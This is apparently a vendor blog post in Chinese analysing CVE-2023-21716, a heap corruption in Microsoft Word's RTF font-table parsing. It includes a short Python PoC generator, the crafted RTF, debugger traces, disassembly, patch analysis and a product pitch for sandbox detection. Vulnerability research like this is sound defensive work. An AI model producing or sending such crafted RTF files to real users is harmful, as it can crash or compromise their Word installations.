查看原文
其他

最新 RTF RCE 漏洞 CVE-2023-21716 分析

360沙箱云 360威胁情报中心 2023-03-14

背景

微软在 2 月 14 日发布的补丁修复了一个 CVSS v3.1 高达 9.8 分的 Microsoft Word 远程代码执行漏洞,该漏洞是 Microsoft Word 的 RTF 解析器在处理 rtf 文件字体表(\fonttbl)中包含的过多字体(\fN)时产生的堆损坏漏洞,而堆损坏是由处理字体时的汇编指令 movsx 导致的整数溢出引起的。近日漏洞发现者 Joshua J. Drake 公布了漏洞的 POC,360 沙箱云团队第一时间使用该 POC 进行了漏洞复现与分析,并就此漏洞的触发路径和指令在沙箱云检测引擎中增加检测方案,保护用户免遭此漏洞的威胁。

分析环境

  • Windows 10 x64 1607

  • Office 2016,Windbg,IDA Pro 7.5

  • wwlib(16.0.4266.1003)

POC

POC.rtf 使用 Joshua J. Drake 提供的 python 脚本生成。

  1. import sys

  2. open("t3zt.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))

POC.rtf 的内容较为简单,仅包括 \rtfN、\fonttbl、\fN 和 \rtlch 控制字,此次漏洞发生在 rtf 解释器 wwlib 模块处理 \fonttbl 和 \fN 控制字时,POC.rtf 内容如下。

  1. {\rtf1{

  2. {\fonttbl{\f0A;}

  3. {\f1A;}

  4. {\f2A;}

  5. {\f3A;}

  6. {\f4A;}

  7. {\f5A;}

  8. {\f6A;}

  9. ...

  10. {\f32755A;}

  11. {\f32756A;}

  12. {\f32757A;}

  13. {\f32758A;}

  14. {\f32759A;}

  15. {\f32760A;}

  16. }

  17. {\rtlch no crash??}

  18. }}

crash 现场

对 winword.exe 开启页堆,可以得到以下的栈回溯。

  1. (c70.dc): Access violation - code c0000005 (first chance)

  2. First chance exceptions are reported before any exception handling.

  3. This exception may be expected and handled.

  4. eax=006f23ac ebx=00000001 ecx=000004e4 edx=ffff7ffc esi=362ceff0 edi=00008002

  5. eip=6abb00d5 esp=006f2304 ebp=006f2310 iopl=0 nv up ei pl nz na pe nc

  6. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206

  7. wwlib!PTLS7::FsUpdateFinitePage+0x7635a:

  8. 6abb00d5 66894c5604 mov word ptr [esi+edx*2+4],cx ds:002b:362befec=????

  9. 0:000> kv

  10. # ChildEBP RetAddr Args to Child

  11. WARNING: Stack unwind information not available. Following frames may be wrong.

  12. 00 006f2310 6abaa3ef 17da1268 00007ff8 006f238c wwlib!PTLS7::FsUpdateFinitePage+0x7635a

  13. 01 006f51e8 6aba651c 17da1230 006f555c 0005d400 wwlib!PTLS7::FsUpdateFinitePage+0x70674

  14. 02 006f579c 6aef05ac 17da1230 006f57dc 00000070 wwlib!PTLS7::FsUpdateFinitePage+0x6c7a1

  15. 03 006f5bec 6aeeffb5 0000000b 17da1230 17da1264 wwlib!PTLS7::LsDestroyContext+0x246427

  16. 04 006f5e40 6aa4a593 0000000b 04012000 40280000 wwlib!PTLS7::LsDestroyContext+0x245e30

  17. 05 006f772c 6a9068ef 0000000b 00000000 04012000 wwlib!PTLS7::FsUpdateBottomlessPage+0x17494

  18. 06 006f7c54 6aa654ed 006f8530 00000001 00000000 wwlib!PTLS7::LsAssert+0x2bd1c

  19. 07 006f905c 6aa63d3b 006f93f0 006f93e8 04012000 wwlib!PTLS7::FsUpdateBottomlessPage+0x323ee

  20. 08 006f90e0 6b56be52 006f93f0 006f93e8 04012000 wwlib!PTLS7::FsUpdateBottomlessPage+0x30c3c

  21. 09 006fa66c 6ae6013a 006fa6c8 00000824 00000000 wwlib!wdGetApplicationObject+0xdf8a0

  22. 0a 006fb718 6aca4e9e 006ff990 ffffffff 00000001 wwlib!PTLS7::LsDestroyContext+0x1b5fb5

  23. 0b 006fb948 6a8ceb47 7668a200 6a8c0000 00000001 wwlib!PTLS7::LsQueryLineUp+0x41cf1

  24. 0c 006fb978 6a8ce971 0000000a 00430022 005c003a wwlib!FMain+0x273

  25. 0d 006ff9fc 6a8ce906 0000000a 6a8ce8d4 006ffa30 wwlib!FMain+0x9d

  26. 0e 006ffa0c 00141762 00140000 00000000 02fbefd4 wwlib!FMain+0x32

  27. 0f 006ffa30 00141194 00140000 00000000 02fbefd4 winword+0x1762

  28. 10 006ffa7c 766862c4 0045c000 766862a0 1455d81a winword+0x1194

  29. 11 006ffa90 77ed0609 0045c000 6d907d52 00000000 KERNEL32!BaseThreadInitThunk+0x24 (FPO: [Non-Fpo])

  30. 12 006ffad8 77ed05d4 ffffffff 77ef2523 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])

  31. 13 006ffae8 00000000 00141000 0045c000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

通过栈回溯得到以下调用链,由于没有 wwlib.dll 模块的符号只简单的揣测了一下几个关键函数的作用。

根本原因分析

查看 crash func(sub_102F0020) 及崩溃地址处的上下文,经过一番调试摸清了 sub_102F0020 函数的参数意义和崩溃原因。

sub_102F0020 函数用于处理 fond id 也就是 /fN 中的 N,其会将 fond id 和 codepage value 存储在一个由 Cum 和 Base 计算偏移的地址上。Base 的初始值是 0xa,且每当处理了 0xa 个 fond id 就会累加 0xa。

存储 fond id 和 codepage value 的代码片段同时也是 crash 时的上下文。

  1. .text:102F00A2 movsx eax, word ptr [esi]//获得 Cum

  2. .text:102F00A5 mov ecx, [ebp+arg_4]//获得 fond id

  3. .text:102F00A8 mov [esi+eax*2+4], cx//存储 fond id <---- bp1

  4. .text:102F00AD movsx eax, word ptr [esi+2]

  5. .text:102F00B1 movsx ecx, word ptr [esi]

  6. .text:102F00B4 add ecx, eax

  7. .text:102F00B6 mov eax, [ebp+arg_8]

  8. .text:102F00B9 mov ax, [eax]

  9. .text:102F00BC mov [esi+ecx*2+4], ax

  10. .text:102F00C1 mov eax, [ebp+arg_10]

  11. .text:102F00C4 test eax, eax

  12. .text:102F00C6 jz short loc_102F00DA

  13. .text:102F00C8 movsx ecx, word ptr [esi]//获得 Cum

  14. .text:102F00CB movsx edx, word ptr [esi+2]//获得 Base <---- bp2

  15. .text:102F00CF lea edx, [ecx+edx*2]//计算偏移 <---- bp3

  16. .text:102F00D2 mov cx, [eax]//获得 codepage value

  17. .text:102F00D5 mov [esi+edx*2+4], cx//存储 codepage value <---- bp4 <- crash

  18. .text:102F00DA inc word ptr [esi]//增加 Cum 计数

在上述代码片段中下 4 个断点查看存储过程,注意各寄存器对应关系。

  1. bp wwlib+2F00A8 ".printf \" Cum: %p Font id: %p Target addr: %p from 0x%x + 0x%x*2 + 4\\n \", eax,ecx,(esi+eax*2+4),esi,eax; gc"

  2. bp wwlib+2F00CB ".printf \" Base: %p \\n \", poi(esi+2); gc"

  3. bp wwlib+2F00CF ".printf \" Edx: %p from 0x%x + 0x%x*2\\n \", (ecx + edx*2),ecx,edx; gc"

  4. bp wwlib+2F00D5 ".printf \" Target addr: %p from 0x%x + 0x%x*2 + 4\\n \", (esi+edx*2+4),esi,edx; gc"

崩溃前断点记录到的存储过程信息。

  1. ...

  2. ---------------------------------------------------------------------------------------

  3. Cum: 00007fec Font id: 00007fec Target addr: 3b3e0044 from 0x3b3d0068 + 0x7fec*2 + 4

  4. Base: 00007fee

  5. Edx: 00017fc8 from 0x7fec + 0x7fee*2

  6. Target addr: 3b3ffffc from 0x3b3d0068 + 0x17fc8*2 + 4

  7. ---------------------------------------------------------------------------------------

  8. Cum: 00007fed Font id: 00007fed Target addr: 3b3e0046 from 0x3b3d0068 + 0x7fed*2 + 4

  9. Base: 00007fee

  10. Edx: 00017fc9 from 0x7fed + 0x7fee*2

  11. Target addr: 3b3ffffe from 0x3b3d0068 + 0x17fc9*2 + 4

  12. ---------------------------------------------------------------------------------------

  13. Cum: 00007fee Font id: 00007fee Target addr: 3e538008 from 0x3e528028 + 0x7fee*2 + 4

  14. Base: 00007ff8

  15. Edx: 00017fde from 0x7fee + 0x7ff8*2

  16. Target addr: 3e557fe8 from 0x3e528028 + 0x17fde*2 + 4

  17. ---------------------------------------------------------------------------------------

  18. Cum: 00007fef Font id: 00007fef Target addr: 3e53800a from 0x3e528028 + 0x7fef*2 + 4

  19. Base: 00007ff8

  20. Edx: 00017fdf from 0x7fef + 0x7ff8*2

  21. Target addr: 3e557fea from 0x3e528028 + 0x17fdf*2 + 4

  22. ---------------------------------------------------------------------------------------

  23. Cum: 00007ff0 Font id: 00007ff0 Target addr: 3e53800c from 0x3e528028 + 0x7ff0*2 + 4

  24. Base: 00007ff8

  25. Edx: 00017fe0 from 0x7ff0 + 0x7ff8*2

  26. Target addr: 3e557fec from 0x3e528028 + 0x17fe0*2 + 4

  27. ---------------------------------------------------------------------------------------

  28. Cum: 00007ff1 Font id: 00007ff1 Target addr: 3e53800e from 0x3e528028 + 0x7ff1*2 + 4

  29. Base: 00007ff8

  30. Edx: 00017fe1 from 0x7ff1 + 0x7ff8*2

  31. Target addr: 3e557fee from 0x3e528028 + 0x17fe1*2 + 4

  32. ---------------------------------------------------------------------------------------

  33. Cum: 00007ff2 Font id: 00007ff2 Target addr: 3e538010 from 0x3e528028 + 0x7ff2*2 + 4

  34. Base: 00007ff8

  35. Edx: 00017fe2 from 0x7ff2 + 0x7ff8*2

  36. Target addr: 3e557ff0 from 0x3e528028 + 0x17fe2*2 + 4

  37. ---------------------------------------------------------------------------------------

  38. Cum: 00007ff3 Font id: 00007ff3 Target addr: 3e538012 from 0x3e528028 + 0x7ff3*2 + 4

  39. Base: 00007ff8

  40. Edx: 00017fe3 from 0x7ff3 + 0x7ff8*2

  41. Target addr: 3e557ff2 from 0x3e528028 + 0x17fe3*2 + 4

  42. ---------------------------------------------------------------------------------------

  43. Cum: 00007ff4 Font id: 00007ff4 Target addr: 3e538014 from 0x3e528028 + 0x7ff4*2 + 4

  44. Base: 00007ff8

  45. Edx: 00017fe4 from 0x7ff4 + 0x7ff8*2

  46. Target addr: 3e557ff4 from 0x3e528028 + 0x17fe4*2 + 4

  47. ---------------------------------------------------------------------------------------

  48. Cum: 00007ff5 Font id: 00007ff5 Target addr: 3e538016 from 0x3e528028 + 0x7ff5*2 + 4

  49. Base: 00007ff8

  50. Edx: 00017fe5 from 0x7ff5 + 0x7ff8*2

  51. Target addr: 3e557ff6 from 0x3e528028 + 0x17fe5*2 + 4

  52. ---------------------------------------------------------------------------------------

  53. Cum: 00007ff6 Font id: 00007ff6 Target addr: 3e538018 from 0x3e528028 + 0x7ff6*2 + 4

  54. Base: 00007ff8

  55. Edx: 00017fe6 from 0x7ff6 + 0x7ff8*2

  56. Target addr: 3e557ff8 from 0x3e528028 + 0x17fe6*2 + 4

  57. ---------------------------------------------------------------------------------------

  58. Cum: 00007ff7 Font id: 00007ff7 Target addr: 3e53801a from 0x3e528028 + 0x7ff7*2 + 4

  59. Base: 00007ff8

  60. Edx: 00017fe7 from 0x7ff7 + 0x7ff8*2

  61. Target addr: 3e557ffa from 0x3e528028 + 0x17fe7*2 + 4

  62. ---------------------------------------------------------------------------------------

  63. Cum: 00007ff8 Font id: 00007ff8 Target addr: 362defe4 from 0x362ceff0 + 0x7ff8*2 + 4

  64. Base: 00008002

  65. Edx: ffff7ffc from 0x7ff8 + 0xffff8002*2

  66. Target addr: 362befec from 0x362ceff0 + 0xffff7ffc*2 + 4

观察记录及断点处的汇编代码,发现崩溃是由 bp2 处的 movsx 指令引起的整数溢出导致。

由上图中的记录 2 可以发现,bp2 处获得的 Base 由 0x8002 变为了 edx 中的 0xffff8002,变化的原因是 movsx 指令是带符号扩展的,而 0x8002 的最高位又恰好为 1。这也就导致 bp3 处的 edx 和 bp4 处的 Target addr 整数溢出,并最终在 bp4 处发生堆损坏。

Target addr 整数溢出。

补丁分析

将 Office 更新到最新后再次打开 POC.rtf 发现依然会造成崩溃,不过此崩溃是 winword.exe 提前检测到即将造成堆损坏而主动引发的,另外发现微软提供了此版本 wwlib.dll 的符号文件,此栈回溯与之前的基本一致。

  1. (174c.149c): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)

  2. eax=00008002 ebx=00007ff8 ecx=00000005 edx=ffffffff esi=7e221028 edi=00007ff8

  3. eip=6cccec57 esp=004f10f4 ebp=004f110c iopl=0 nv up ei pl nz ac pe nc

  4. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216

  5. wwlib!FSearchFtcmap+0x182:

  6. 6cccec57 cd29 int 29h

  7. 0:000> kv

  8. # ChildEBP RetAddr Args to Child

  9. 00 004f110c 6d9f1494 004f119c 00000001 004f1188 wwlib!FSearchFtcmap+0x182 (FPO: [Non-Fpo])

  10. 01 004f35d8 6d9e347e bb594bde 1c597028 0005d400 wwlib!RtfInRare+0x1848 (FPO: [Non-Fpo])

  11. 02 004f3a0c 6d9ff40f 00000070 1c597028 505daa50 wwlib!CchRtfInCore+0x28df (FPO: [Non-Fpo])

  12. 03 004f3c5c 6d9fecc4 1c59702c 004fa0d0 004f5a60 wwlib!RtfGetChars+0x183 (FPO: [Non-Fpo])

  13. 04 004f3ca8 6c97a74a 40280000 00200002 56b28f10 wwlib!PdodCreateRtf+0x177 (FPO: [6,13,4])

  14. 05 004f5404 6c528610 04012000 20280000 00200002 wwlib!`Mso::Details::SharedMutexPool::Get'::`2'::`dynamic atexit destructor for 's_mutexPool''+0x15be8d

  15. 06 004f5758 6c52829b 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x33a (FPO: [Non-Fpo])

  16. 07 004f57dc 6c504161 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])

  17. 08 004f8df4 6c5001b5 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0x22eb (FPO: [Non-Fpo])

  18. 09 004f8ebc 6d2d3628 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])

  19. 0a 004f9fe8 6d2d332e 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2e7 (FPO: [Non-Fpo])

  20. 0b 004fa024 6c7b525d 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])

  21. 0c 004fb4c4 6c3cc272 00000001 00000000 6c3cc22c wwlib!IfrInitArgs+0x7ef (FPO: [Non-Fpo])

  22. 0d 004fb6fc 6c309720 bb59c6ba 74cda210 0000000a wwlib!Boot::IfrParseCommandLine2+0x46 (FPO: [Non-Fpo])

  23. 0e 004fb774 6c309542 004fb7a4 6c300000 6c309234 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])

  24. 0f 004ff830 6c309298 83385031 00000540 bb5989b6 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])

  25. 10 004ff864 00941917 00940000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])

  26. 11 004ffab4 0094114a 00940000 00000000 0077efd4 winword!WinMain+0x146 (FPO: [Non-Fpo])

  27. 12 004ffb00 74cd62c4 003e5000 74cd62a0 454ba229 winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])

  28. 13 004ffb14 77ae0fa9 003e5000 11605f5b 00000000 KERNEL32!BaseThreadInitThunk+0x24 (FPO: [Non-Fpo])

  29. 14 004ffb5c 77ae0f74 ffffffff 77b02ed1 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])

  30. 15 004ffb6c 00000000 00941000 003e5000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

补丁文件中新增的范围检测。

沙箱云检测

沙箱中未添加检测规则时检测到的由 POC.rtf 文件引起的 Microsoft Word 进程崩溃,崩溃记录与我们的 crash 现场一致。

经过对漏洞的分析后为沙箱添加检测规则,沙箱云已能精确检出该漏洞。

全新版本的360沙箱云高级威胁分析平台已发布!欢迎使用:ata.360.net

参考文章

  • https://qoop.org/publications/cve-2023-21716-rtf-fonttbl.md

关于我们

360沙箱云是 360 安全情报中心旗下的在线高级威胁分析平台,对提交的文件、URL,经过静态检测、动态分析等多层次分析的流程,触发揭示漏洞利用、检测逃逸等行为,对检测样本进行恶意定性,弥补使用规则查杀的局限性,通过行为分析发现未知、高级威胁,形成高级威胁鉴定、0day 漏洞捕获、情报输出的解决方案;帮助安全管理员聚焦需关注的安全告警,经过安全运营人员的分析后输出有价值的威胁情报,为企业形成专属的威胁情报生产能力,形成威胁管理闭环。解决当前政企用户安全管理困境及专业安全人员匮乏问题,沙箱云为用户提供持续跟踪微软已纰漏,但未公开漏洞利用代码的 1day,以及在野 0day 的能力。

360混天零实验室负责高级威胁自动化检测项目和云沙箱技术研究,专注于通过自动化监测手段高效发现高级威胁攻击;依托于 360 安全大数据,多次发现和监测到在野漏洞利用、高级威胁攻击、大规模网络挂马等危害网络安全的攻击事件,多次率先捕获在野利用 0day 漏洞的网络攻击并获得厂商致谢,在野 0day 漏洞的发现能力处于国内外领先地位,为上亿用户上网安全提供安全能力保障。


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存